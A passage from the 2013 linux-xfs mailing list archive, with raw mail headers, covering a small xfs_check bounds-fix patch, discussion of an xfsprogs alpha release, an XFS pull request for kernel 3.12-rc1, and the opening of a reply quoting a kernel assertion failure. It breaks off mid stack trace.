1379019624-04cb6c2e9df97e60001-w1Z2WR Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Jwy8D4MCFBqbdB1o for ; Thu, 12 Sep 2013 14:00:25 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r8CL0OrI024226 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 12 Sep 2013 17:00:24 -0400 Received: from Liberator.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r8CL0Nda022252 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Thu, 12 Sep 2013 17:00:24 -0400 Message-ID: <52322B67.80305@redhat.com> Date: Thu, 12 Sep 2013 16:00:23 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: [PATCH] xfs_check: fix test for too-high level in v2 dir node X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: [PATCH] xfs_check: fix test for too-high level in v2 dir node Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1379019624 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The test as it stands allows level == XFS_DA_NODE_MAXDEPTH (5), but a max depth of 5 equates to level values of 0 through 4. Level 5 would be a depth of 6. Signed-off-by: Eric Sandeen --- diff --git a/db/check.c b/db/check.c index cbe55ba..d9e3e3f 100644 --- a/db/check.c +++ b/db/check.c @@ -3138,7 +3138,7 @@ process_leaf_node_dir_v2_int( case XFS_DA_NODE_MAGIC: node = iocur_top->data; xfs_da3_node_hdr_from_disk(&nodehdr, node); - if (nodehdr.level < 1 || nodehdr.level > XFS_DA_NODE_MAXDEPTH) { + if (nodehdr.level < 1 || nodehdr.level >= XFS_DA_NODE_MAXDEPTH) { if (!sflag || v) dbprintf(_("bad node block level %d for dir ino " "%lld block %d\n"), From tinguely@sgi.com Thu Sep 12 16:17:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F309529DFC for ; Thu, 12 Sep 2013 16:17:46 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2C7E8F8064; Thu, 12 Sep 2013 14:17:43 -0700 (PDT) Message-ID: <52322F76.4080306@sgi.com> Date: Thu, 12 Sep 2013 16:17:42 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: [PATCH V3] xfs_repair: test for bad level in dir2 node References: <52274F96.2010702@sandeen.net> <52322A84.1030007@sandeen.net> In-Reply-To: <52322A84.1030007@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 15:56, Eric Sandeen wrote: > In traverse_int_dir2block(), the variable 'i' is the level in > the tree, with 0 being a leaf node. In the "do" loop we > start at the root, and work our way down to a leaf. > > If the first node we read is an interior node with NODE_MAGIC, > but it tells us that its level is 0 (a leaf), this is clearly > an inconsistency. > > Worse, we'd return with success, bno set, and only level[0] > in the cursor initialized. Then down this path we'll > segfault when accessing an uninitialized (and zeroed) member > of the cursor's level array: > > process_node_dir2 > traverse_int_dir2block // returns 0 w/ bno set, only level[0] init'd > process_leaf_level_dir2 > verify_dir2_path(mp, da_cursor, 0) // p_level == 0 > this_level = p_level + 1; > node = cursor->level[this_level].bp->b_addr; // level[1] uninit& 0'd > > Fix this by recognizing that an interior node w/ level 0 is invalid, and > error out as for other inconsistencies. > > By the time the level 0 test is done, we have already ensured that > this block has XFS_DA[3]_NODE_MAGIC. > > Reported-by: Jan Yves Brueckner > Signed-off-by: Eric Sandeen > --- > > V3: Simplify the test. > > Mark, Dave, I know you had some concerns about other conditions being > tested, but I think those are separate from this fix, which simply ensures > that the level we find for this _NODE block is within the valid range > for a node. (It also matches the test currently present in xfs_check). > Nod. --Mark. From sandeen@sandeen.net Thu Sep 12 16:17:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 41F0929E03 for ; Thu, 12 Sep 2013 16:17:49 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1B5C58F8064 for ; Thu, 12 Sep 2013 14:17:48 -0700 (PDT) X-ASG-Debug-ID: 1379020667-04bdf053875f470001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id dC1sEDElL1VzdX0S for ; Thu, 12 Sep 2013 14:17:47 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 565BD653B1A1 for ; Thu, 12 Sep 2013 16:17:47 -0500 (CDT) Message-ID: <52322F7A.8060405@sandeen.net> Date: Thu, 12 Sep 2013 16:17:46 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: "'linux-xfs@oss.sgi.com'" Subject: Time for an xfsprogs "alpha1" release? X-Enigmail-Version: 1.5.2 X-ASG-Orig-Subj: Time for an xfsprogs "alpha1" release? Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379020667 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. Thoughts? Thanks, -Eric From greg.freemyer@gmail.com Thu Sep 12 16:38:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7B3C87F52 for ; Thu, 12 Sep 2013 16:38:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5A8C5304032 for ; Thu, 12 Sep 2013 14:38:47 -0700 (PDT) X-ASG-Debug-ID: 1379021924-04bdf02f23fceea0001-w1Z2WR Received: from mail-wg0-f53.google.com (mail-wg0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id cYsxAmoXvEanwstI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 12 Sep 2013 14:38:45 -0700 (PDT) X-Barracuda-Envelope-From: greg.freemyer@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wg0-f53.google.com with SMTP id x12so382486wgg.8 for ; Thu, 12 Sep 2013 14:38:44 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=VPB2ZDCB68+HRpQl/ncoFlOl/eCp8iW0Iii2ZiJYtpk=; b=VURfQz+Tm5Fmj7I/mZJZHcwJ+YQWPE1aZ99xw04hIZmSmK9QXhhttlMW6HQbueIWeI OeMUTLuBb5ckc9kBEdZizr02kWFS/n2zPjT98y+MnZrQHh2KmxbdF5rXbvPr4sJTPOcL l+2S9m+45ZP/bOvbbP2xTGzkgRgmyA1ySiJ2jyHC6Re2dN5DhkUGYsxr7KWns4fHbOVv XleyQCf9uh36Yz0WF7RbjTePf7LG8yiSv3EscneZbxaEP6k0iQrGZtKGQH2fWpWkjb/g JqqqbZhtaIj4+gvGTDzzSKHoa/YmU79c/ChSI3DolvDI1PIOF0hhuavd5t9vmVcka5Yi ScSw== X-Received: by 10.180.10.136 with SMTP id i8mr7684077wib.46.1379021924722; Thu, 12 Sep 2013 14:38:44 -0700 (PDT) MIME-Version: 1.0 Received: by 10.180.12.39 with HTTP; Thu, 12 Sep 2013 14:38:04 -0700 (PDT) In-Reply-To: <52322F7A.8060405@sandeen.net> References: <52322F7A.8060405@sandeen.net> From: Greg Freemyer Date: Thu, 12 Sep 2013 17:38:04 -0400 Message-ID: Subject: Re: Time for an xfsprogs "alpha1" release? To: Eric Sandeen X-ASG-Orig-Subj: Re: Time for an xfsprogs "alpha1" release? Cc: "linux-xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wg0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1379021925 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Sep 12, 2013 at 5:17 PM, Eric Sandeen wrote: > With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. > > I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. > > We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. > > Thoughts? > > Thanks, > -Eric If it's relevant, openSUSE's factory release is currently in feature freeze for bleeding edge stuff, but it should open back up in a week or two. (After they branch off the next stable release.) If you don't know factory => openSUSE => SUSE (SLES) much like rawhide => fedora => redhat Greg From tinguely@sgi.com Thu Sep 12 16:54:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BBFB37F54 for ; Thu, 12 Sep 2013 16:54:24 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 94B898F8068; Thu, 12 Sep 2013 14:54:24 -0700 (PDT) Message-ID: <5232380E.4040300@sgi.com> Date: Thu, 12 Sep 2013 16:54:22 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: Time for an xfsprogs "alpha1" release? References: <52322F7A.8060405@sandeen.net> In-Reply-To: <52322F7A.8060405@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 16:17, Eric Sandeen wrote: > With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. > > I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. > > We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. > > Thoughts? > > Thanks, > -Eric > Good idea, but xfsprogs is in a state that it can't compile: http://oss.sgi.com/archives/xfs/2013-09/msg00396.html Patch 31 v3 / 55 is broken. It is missing xfs_sb.c and has an extra xfs_mount.c. If you want it this week, we could do the corrections or wait for Dave to repost. --Mark. From bpm@sgi.com Thu Sep 12 17:14:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id DB9B17F55 for ; Thu, 12 Sep 2013 17:14:34 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4664EAC008; Thu, 12 Sep 2013 15:14:34 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A15A64266DC; Thu, 12 Sep 2013 17:14:33 -0500 (CDT) To: torvalds@linux-foundation.org Subject: [GIT PULL] XFS updates #2 for 3.12-rc1 Cc: akpm@linux-foundation.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Message-Id: <20130912221433.A15A64266DC@whiskey.americas.sgi.com> Date: Thu, 12 Sep 2013 17:14:33 -0500 (CDT) From: bpm@sgi.com (Ben Myers) Hi Linus, Please pull these XFS updates for 3.12-rc1. There is a feature to support defrag on CRC enabled filesystems, some bugfixes, and cleanups. Thanks, Ben The following changes since commit 1d03c6fa88af35e55047a1f2ab116f0fdf2f55aa: xfs: XFS_MOUNT_QUOTA_ALL needed by userspace (2013-09-03 15:00:06 -0500) are available in the git repository at: git://oss.sgi.com/xfs/xfs tags/xfs-for-linus-v3.12-rc1-2 for you to fetch changes up to 08474ed639e971e9d5a877cf7aba7ef91d847ae9: xfs: remove dead code from xlog_recover_inode_pass2 (2013-09-12 09:51:49 -0500) ---------------------------------------------------------------- xfs: update #2 for v3.12-rc1 Here we have defrag support for v5 superblock, a number of bugfixes and a cleanup or two. - defrag support for CRC filesystems - fix endian worning in xlog_recover_get_buf_lsn - fixes for sparse warnings - fix for assert in xfs_dir3_leaf_hdr_from_disk - fix for log recovery of remote symlinks - fix for log recovery of btree root splits - fixes formemory allocation failures with ACLs - fix for assert in xfs_buf_item_relse - fix for assert in xfs_inode_buf_verify - fix an assignment in an assert that should be a test in xfs_bmbt_change_owner - remove dead code in xlog_recover_inode_pass2 ---------------------------------------------------------------- Dan Carpenter (1): xfs: = vs == typo in ASSERT() Dave Chinner (11): xfs: fix endian warning in xlog_recover_get_buf_lsn() xfs: fix some minor sparse warnings xfs: check magic numbers in dir3 leaf verifier first xfs: swap extents operations for CRC filesystems xfs: recovery of swap extents operations for CRC filesystems xfs: set remote symlink buffer type for recovery xfs: ensure we copy buffer type in da btree root splits xfs: fix memory allocation failures with ACLs xfs: factor all the kmalloc-or-vmalloc fallback allocations xfs: aborted buf items can be in the AIL. xfs: don't assert fail on bad inode numbers Mark Tinguely (1): xfs: remove dead code from xlog_recover_inode_pass2 fs/xfs/kmem.c | 15 ++++- fs/xfs/kmem.h | 9 +-- fs/xfs/xfs_acl.c | 12 ++-- fs/xfs/xfs_bmap.c | 2 +- fs/xfs/xfs_bmap_btree.c | 44 ++++++++++++ fs/xfs/xfs_bmap_btree.h | 4 ++ fs/xfs/xfs_bmap_util.c | 69 ++++++++++++------- fs/xfs/xfs_btree.c | 170 ++++++++++++++++++++++++++++++++++++++++++----- fs/xfs/xfs_btree.h | 19 ++++-- fs/xfs/xfs_buf_item.c | 24 +++++-- fs/xfs/xfs_da_btree.c | 1 + fs/xfs/xfs_dir2_leaf.c | 20 ++++-- fs/xfs/xfs_dquot_item.c | 3 +- fs/xfs/xfs_extent_busy.c | 3 +- fs/xfs/xfs_icache.c | 4 +- fs/xfs/xfs_icache.h | 4 ++ fs/xfs/xfs_inode_buf.c | 10 ++- fs/xfs/xfs_inode_buf.h | 18 ++--- fs/xfs/xfs_ioctl.c | 36 ++++------ fs/xfs/xfs_ioctl32.c | 18 ++--- fs/xfs/xfs_itable.c | 7 +- fs/xfs/xfs_log.c | 3 +- fs/xfs/xfs_log_format.h | 8 ++- fs/xfs/xfs_log_recover.c | 122 +++++++++++++++++++++++++++------- fs/xfs/xfs_symlink.c | 2 + 25 files changed, 461 insertions(+), 166 deletions(-) From sandeen@sandeen.net Thu Sep 12 17:18:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 338327F58 for ; Thu, 12 Sep 2013 17:18:41 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 048D9304048 for ; Thu, 12 Sep 2013 15:18:37 -0700 (PDT) X-ASG-Debug-ID: 1379024313-04bdf05387626b0001-w1Z2WR Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id P8Qok8QylqAajBlN for ; Thu, 12 Sep 2013 15:18:33 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-215-156.hsd1.mn.comcast.net [98.240.215.156]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 05191653B1A1; Thu, 12 Sep 2013 17:18:32 -0500 (CDT) Message-ID: <52323DB7.8000800@sandeen.net> Date: Thu, 12 Sep 2013 17:18:31 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Mark Tinguely CC: "'linux-xfs@oss.sgi.com'" Subject: Re: Time for an xfsprogs "alpha1" release? References: <52322F7A.8060405@sandeen.net> <5232380E.4040300@sgi.com> X-ASG-Orig-Subj: Re: Time for an xfsprogs "alpha1" release? In-Reply-To: <5232380E.4040300@sgi.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1379024313 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140557 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 9/12/13 4:54 PM, Mark Tinguely wrote: > On 09/12/13 16:17, Eric Sandeen wrote: >> With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. >> >> I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. >> >> We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. >> >> Thoughts? >> >> Thanks, >> -Eric >> > > Good idea, but xfsprogs is in a state that it can't compile: > > http://oss.sgi.com/archives/xfs/2013-09/msg00396.html > > Patch 31 v3 / 55 is broken. It is missing xfs_sb.c and has an extra > xfs_mount.c. > > If you want it this week, we could do the corrections or wait for Dave > to repost. hm? The git tree builds fine here, anyway (modulo some warnings). so quick, cut an alpha1 before it breaks. ;) (but if you mean: we should get the latest stuff on the list in first, and fix it so it builds - ok - but there will probably always be more stuff to pull in, so at some point when we have a reasonable amount of it in place, we could cut a test release? There's always "alpha2"...) -Eric From tinguely@sgi.com Thu Sep 12 18:40:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E5ACB7F59 for ; Thu, 12 Sep 2013 18:40:26 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id C2C428F8066; Thu, 12 Sep 2013 16:40:23 -0700 (PDT) Message-ID: <523250E5.2050607@sgi.com> Date: Thu, 12 Sep 2013 18:40:21 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Eric Sandeen CC: "'linux-xfs@oss.sgi.com'" Subject: Re: Time for an xfsprogs "alpha1" release? References: <52322F7A.8060405@sandeen.net> <5232380E.4040300@sgi.com> <52323DB7.8000800@sandeen.net> In-Reply-To: <52323DB7.8000800@sandeen.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/12/13 17:18, Eric Sandeen wrote: > On 9/12/13 4:54 PM, Mark Tinguely wrote: >> On 09/12/13 16:17, Eric Sandeen wrote: >>> With all of the changes for CRC filesystems in xfsprogs git now, I'm wondering if it'd be a good idea to do a "3.2.0-alpha1" sort of release. >>> >>> I know it's not yet feature complete, but I think there would be value in getting a version-stamped tarball out there for testing - it could filter to rawhide-ish distros, and get a bit more airtime while the remaining bits get worked out. >>> >>> We'd probably want a nice readme about what's new and what's not yet done, caveats, etc, but I think it'd be worth getting it out there into the hands of willing testers, w/o requiring them to do a build from git. >>> >>> Thoughts? >>> >>> Thanks, >>> -Eric >>> >> >> Good idea, but xfsprogs is in a state that it can't compile: >> >> http://oss.sgi.com/archives/xfs/2013-09/msg00396.html >> >> Patch 31 v3 / 55 is broken. It is missing xfs_sb.c and has an extra >> xfs_mount.c. >> >> If you want it this week, we could do the corrections or wait for Dave >> to repost. > > hm? The git tree builds fine here, anyway (modulo some warnings). > > so quick, cut an alpha1 before it breaks. ;) > > (but if you mean: we should get the latest stuff on the list in first, > and fix it so it builds - ok - but there will probably always be more > stuff to pull in, so at some point when we have a reasonable amount of it > in place, we could cut a test release? There's always "alpha2"...) > > -Eric Yep, simple to fix. I manually pulled in xfs_sb.c to make sure 47 v2 / 55 was still okay. I can have a tar tomorrow. --Mark. From tinguely@sgi.com Thu Sep 12 18:51:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 84BC37F5D for ; Thu, 12 Sep 2013 18:51:07 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay2.corp.sgi.com (Postfix) with ESMTP id 59B17304043; Thu, 12 Sep 2013 16:51:07 -0700 (PDT) Message-ID: <52325369.1070001@sgi.com> Date: Thu, 12 Sep 2013 18:51:05 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Brian Foster CC: xfs@oss.sgi.com Subject: Re: XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 References: <52165830.8050006@redhat.com> In-Reply-To: <52165830.8050006@redhat.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 08/22/13 13:28, Brian Foster wrote: > Hi all, > > I hit an assert on a debug kernel while beating on some finobt work and > eventually reproduced it on unmodified/TOT xfs/xfsprogs as of today. I > hit it through a couple different paths, first while running fsstress on > a CRC enabled filesystem (with otherwise default mkfs options): > > (These tests are running on a 4p, 4GB VM against a 100GB virtio disk, > hosted on a single spindle desktop box). > > crc=1 > fsstress -z -fsymlink=1 -n99999999 -p4 -d /mnt/test > > XFS: Assertion failed: first<= last&& last< BBTOB(bp->b_length), > file: fs/xfs/xfs_trans_buf.c, line: 568 > ------------[ cut here ]------------ > kernel BUG at fs/xfs/xfs_message.c:108! > invalid opcode: 0000 [#1] SMP > Modules linked in: xfs libcrc32c fuse ebtable_nat > nf_conntrack_netbios_ns nf_conntrack_broadcast ipt_MASQUERADE > ip6table_nat nf_nat_ipv6 ip6table_mangle ip6t_REJECT nf_conntrack_ipv6 > nf_defrag_ipv6 iptable_nat nf_nat_ipv4 nf_nat iptable_mangle bnep > nf_conntrack_ipv4 nf_defrag_ipv4 bluetooth xt_conntrack nf_conntrack > rfkill ebtable_filter ebtables ip6table_filter ip6_tables snd_hda_intel > snd_hda_codec snd_hwdep snd_seq snd_seq_device snd_pcm snd_page_alloc > snd_timer snd joydev soundcore i2c_piix4 pcspkr mperf virtio_balloon > floppy uinput qxl drm_kms_helper ttm drm virtio_blk virtio_net i2c_core > CPU: 0 PID: 1419 Comm: fsstress Not tainted 3.11.0-rc1+ #10 > Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 > task: ffff8800d65b5dc0 ti: ffff8800d10ba000 task.ti: ffff8800d10ba000 > RIP: 0010:[] [] assfail+0x22/0x30 [xfs] > RSP: 0018:ffff8800d10bb998 EFLAGS: 00010292 > RAX: 000000000000006b RBX: ffff8800d67be3a0 RCX: 0000000000000000 > RDX: ffff88011fc0ee48 RSI: ffff88011fc0d038 RDI: ffff88011fc0d038 > RBP: ffff8800d10bb998 R08: 0000000000000000 R09: 000000000000020a > R10: ffffffff81858260 R11: 0000000000000209 R12: ffff8800d165d500 > R13: ffff8800d1158980 R14: 0000000000001007 R15: ffff8800d1cb8300 > FS: 00007f1efd2ce740(0000) GS:ffff88011fc00000(0000) knlGS:0000000000000000 > CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 > CR2: 00007f1ef80fb018 CR3: 0000000036edb000 CR4: 00000000000006f0 > Stack: > ffff8800d10bb9e8 ffffffffa031d549 000000fc24a6f000 00000e20000000d3 > ffff8800d10bb9f8 ffff8800d67c3040 ffff8800d1cb8208 ffff8800d1cb81e8 > ffff8800d67c3000 ffff8800d1cb8300 ffff8800d10bba48 ffffffffa02e7c1c > Call Trace: > [] xfs_trans_log_buf+0x89/0x1b0 [xfs] > [] 